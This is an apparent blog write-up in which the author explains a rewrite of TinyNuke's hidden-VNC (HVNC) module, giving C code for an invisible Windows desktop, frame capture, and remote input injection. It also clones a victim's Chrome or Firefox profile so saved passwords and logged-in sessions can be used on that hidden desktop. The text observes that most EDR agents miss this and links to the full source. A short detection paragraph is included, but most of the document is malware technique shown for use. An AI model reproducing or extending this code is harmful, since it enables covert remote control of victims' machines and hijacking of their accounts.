Notes on Hidden Desktop
I rewrote TinyNuke's HVNC module as a standalone client-server and figured I'd write up some notes on how it works, broadly.
Windows supports multiple desktop objects per session, and the visible desktop is just one of them. You can create another that runs in parallel, invisible to the user.
HDESK hDesk = CreateDesktopA("HiddenDesktop", NULL, NULL, 0, GENERIC_ALL, NULL);
SetThreadDesktop(hDesk);
STARTUPINFO si = {0};
si.cb = sizeof(si);
si.lpDesktop = "HiddenDesktop";
CreateProcess("C:\\Windows\\explorer.exe", NULL, NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi);
Once you call SetThreadDesktop(), everything you spawn goes to that desktop. The lpDesktop field in STARTUPINFO controls which desktop a process starts in.
Architecture
Two threads do everything:
- Desktop Thread: Captures frames from the hidden desktop and streams them to the server
- Input Thread: Receives mouse/keyboard events from the server and posts them to windows on the hidden desktop
Both connect to the same server socket. Handshake is 7 bytes MELTED\0 followed by 4-byte connection type (0 for desktop thread, 1 for input thread).
Screen Capture
Using BitBlt on the desktop DC only gets what's currently visible on top, so minimized or obscured windows don't show up. Better to enumerate windows individually:
HWND hWnd = GetTopWindow(NULL);
hWnd = GetWindow(hWnd, GW_HWNDLAST);
while (hWnd != NULL) {
if (IsWindowVisible(hWnd)) {
GetWindowRect(hWnd, &rect);
PrintWindow(hWnd, hDcWindow, 0);
BitBlt(hDcScreen, rect.left, rect.top,
rect.right - rect.left, rect.bottom - rect.top,
hDcWindow, 0, 0, SRCCOPY);
}
hWnd = GetWindow(hWnd, GW_HWNDPREV);
}
Start from the bottom window with GW_HWNDLAST, walk upward with GW_HWNDPREV. PrintWindow() captures each window's content even if it's minimized or behind other windows.
To avoid sending identical frames, compare each pixel to the previous capture:
for (DWORD i = 0; i < imageSize; i += 3) {
if (pixels[i] == oldPixels[i] &&
pixels[i+1] == oldPixels[i+1] &&
pixels[i+2] == oldPixels[i+2]) {
pixels[i] = 255;
pixels[i+1] = 174;
pixels[i+2] = 201;
}
}
Unchanged pixels get marked as RGB(255, 174, 201) so the server skips them. If every pixel matches, send 0 and skip transmission entirely. Compress with RtlCompressBuffer() using LZNT1 before sending.
Input Routing
Events arrive as (msg, wParam, lParam) tuples. For mouse events, need to find which window and control the coordinates actually point to:
POINT point;
point.x = GET_X_LPARAM(lParam);
point.y = GET_Y_LPARAM(lParam);
HWND hWnd = WindowFromPoint(point);
ScreenToClient(hWnd, &point);
HWND child = ChildWindowFromPoint(hWnd, point);
while (child != NULL && child != hWnd) {
hWnd = child;
ScreenToClient(hWnd, &point);
child = ChildWindowFromPoint(hWnd, point);
}
lParam = MAKELPARAM(point.x, point.y);
PostMessageA(hWnd, msg, wParam, lParam);
WindowFromPoint() gives you the top-level window. Convert to client coordinates with ScreenToClient(), then walk the child hierarchy with ChildWindowFromPoint() until you hit the actual control.
For window dragging, check WM_NCHITTEST to see if the mouse is on the title bar or window edge. Then call MoveWindow() directly with adjusted coordinates:
LRESULT hitTest = SendMessageA(hWnd, WM_NCHITTEST, NULL, lParam);
if (hitTest == HTCAPTION) {
int moveX = lastPoint.x - currentPoint.x;
int moveY = lastPoint.y - currentPoint.y;
MoveWindow(hWnd, x - moveX, y - moveY, width, height, FALSE);
}
Browser Profile Cloning
Before launching a browser on the hidden desktop, you clone the user's profile to get their saved passwords and active sessions.
Chrome: Copy %LOCALAPPDATA%\Google\Chrome\User Data\Default to a new directory
Firefox: Parse %APPDATA%\Mozilla\Firefox\profiles.ini to find the profile path, then copy that directory
Launch the browser pointing to the cloned profile:
char cmd[MAX_PATH];
sprintf(cmd, "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" "
"--user-data-dir=\"%s\"", clonedProfilePath);
STARTUPINFO si = {0};
si.cb = sizeof(si);
si.lpDesktop = "HiddenDesktop";
CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
Detection
Most standard tools are scoped to the visible desktop, including Task Manager, which won't show the desktop assignment at all. Process Explorer's Environment tab or Sysinternals Desktops.exe can surface it. More telling signs are multiple explorer.exe instances, browsers with unusual user data paths, or simultaneous connections to the same IP. Most EDR agents don't track desktop assignments at the thread level, so this tends to go unnoticed.
Source code at: github.com/Meltedd/HVNC